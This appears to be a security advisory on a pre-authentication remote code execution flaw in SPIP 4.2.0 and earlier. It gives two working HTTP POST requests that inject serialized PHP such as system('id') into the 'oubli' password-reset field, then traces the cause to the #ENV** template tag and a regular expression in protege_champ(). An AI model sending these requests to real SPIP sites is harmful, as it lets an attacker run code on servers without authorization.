C11010: SPIP <= 4.2.0, Remote Code Execution (pre-auth)
Let’s go straight to the heart of the matter. The vulnerability is a Remote Code Execution without authentication in SPIP (version 4.0.0).
How?
- Method: POST
- Path: spip.php?page=spip_pass&lang=fr
- Parameter:
$_POST['oubli']
Example 1
It is possible to inject a serialized string into the variable $_POST['oubli']
.
This string will not be deserialized but reflected due to the combination of
several bugs (this will be explained in the “Why?” part).
Request:
POST /projects/spip/4.0/spip.php?page=spip_pass&lang=fr HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 188
page=spip_pass&lang=fr&formulaire_action=oubli&formulaire_action_args=0OzOVT43u2CG2Gk7nR6kCsEJALR44jn8Cfypg%2B9FjFGS%2BsLu9c605k4Ac494odelF5JPmWDPj2Zp7p1P&oubli=s:19:"<?php phpinfo(); ?>";
The variable $_POST['formulaire_action_args']
can be seen as a kind of CSRF
token which is retrieved after making a first GET request on the route
spip.php?page=spip_pass&lang=fr, just before
making the request above.
In Burps’s repeater:
You can use Burp’s “show response in browser” tool to better see the result.
Example 2
There is no need to change $_POST['formulaire_action_args']
.
Request:
POST /projects/spip/4.0/spip.php?page=spip_pass&lang=fr HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 191
page=spip_pass&lang=fr&formulaire_action=oubli&formulaire_action_args=0OzOVT43u2CG2Gk7nR6kCsEJALR44jn8Cfypg%2B9FjFGS%2BsLu9c605k4Ac494odelF5JPmWDPj2Zp7p1P&oubli=s:22:"<?php system('id'); ?>";
In Burp’s repeater:
Browser’s view:
Why?
The vulnerability is exploitable because of two bugs. This is a combination of overly permissive variable sanitization due to the use of a dangerous template tag and the use of a bad regular expression.
Here is the call stack related to the vulnerability:
formulaire_.php:42, protege_champ()
formulaire_.php:240, balise_FORMULAIRE__contexte()
formulaire_.php:159, balise_FORMULAIRE__dyn()
-
evaluer_page.php:51, include()
public.php:157, include()
spip.php:20, {main}()
Bug 1: Use of a dangerous template tag
The template related to the path spip.php?page=spip_pass&lang=fr is the following one:
File: squelettes-dist/formulaires/oubli.html
<div class="formulaire_spip formulaire_oubli">
[<p class="reponse_formulaire reponse_formulaire_erreur" role="alert">(#ENV*{message_erreur})</p>]
[<p class="reponse_formulaire reponse_formulaire_ok" role="status">(#ENV*{message_ok})</p>]
[(#ENV*{editable}|?{' '})
<form id="oubli_form" action="[(#ENV{action})]" method="post">
[(#REM) activer le traitement auto et dispatch sur charger/verifier/traiter]
#ACTION_FORMULAIRE
<fieldset>
<legend><:pass_nouveau_pass:></legend>
<p><:pass_procedure_changer:></p>
<div class="editer-groupe">
<div class="editer saisie_oubli obligatoire[ (#ENV*{erreurs}|table_valeur{oubli}|oui)erreur]">
<label for="oubli"><:entree_adresse_email:></label>
[<span class='erreur_message'>(#ENV**{erreurs}|table_valeur{oubli})</span>]
<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />
</div>
</div>
</fieldset>
[(#REM) Piege a robots spammeurs ]
<p style="display: none;">
<label for="nobot"><:antispam_champ_vide:></label>
<input type="text" class="text" name="nobot" id="nobot" value="#ENV{nobot}" size="10" />
</p>
<p class="boutons"><input type="submit" class="btn submit" value="<:pass_ok:>" /></p>
</form>
]
</div>
It uses the tag #ENV
and more precisely its least secure version #ENV**
whose description is explained below.
It is therefore the following line that allows to exploit the first bug.
...
<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />
...
As we can see through the call stack, even if the use of this tag potentially
implies security problems, a treatment by the protege_champ()
function is
still applied to it.
Bug 2: Use of a bad regular expression
The function protege_champ()
is defined by the following code:
File: ecrire/balise/formulaire_.php
/**
* Protéger les saisies d'un champ de formulaire
*
* Proteger les ' et les " dans les champs que l'on va injecter,
* sans toucher aux valeurs sérialisées
*
* @see entites_html()
* @param string|array $texte
* Saisie à protéger
* @return string|array
* Saisie protégée
**/
function protege_champ($texte) {
if (is_array($texte)) {
$texte = array_map('protege_champ', $texte);
} else {
// ne pas corrompre une valeur serialize
if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
return $texte;
}
if (is_string($texte)
and $texte
and strpbrk($texte, "&\"'<>") !== false
) {
$texte = spip_htmlspecialchars($texte, ENT_QUOTES);
} elseif (is_bool($texte)) {
$texte = ($texte ? '1' : '');
}
}
return $texte;
}
The function protege_champ()
will be applied to our parameter $_POST['oubli']
which is a string and not an array. So we enter the else
condition:
File: ecrire/balise/formulaire_.php
...
} else {
// ne pas corrompre une valeur serialize
if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
return $texte;
}
if (is_string($texte)
and $texte
and strpbrk($texte, "&\"'<>") !== false
) {
$texte = spip_htmlspecialchars($texte, ENT_QUOTES);
} elseif (is_bool($texte)) {
$texte = ($texte ? '1' : '');
}
...
What interests us most is the following lines:
File: ecrire/balise/formulaire_.php
...
} else {
// ne pas corrompre une valeur serialize
if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
return $texte;
}
...
We understand that the code does not perform any processing on the serialized
strings and returns them directly. This is the reason why it is possible to
inject into the $_POST['oubli']
variable serialized strings containing PHP
code and this is what allows to get code execution.
The vulnerability exists in all SPIP versions of the last 10 years. It was introduced at the commit 4b83cb23ccbaa433fedc51040479230115bb4b5c.
UPDATES:
Date | Also Affected Version |
---|---|
2022-04-1 | 4.1.1 |
2022-05-22 | 4.1.2 |
2022-07-21 | 4.1.5 |
2023-01-16 | 4.1.7 |
2023-01-27 | 4.2.0-alpha |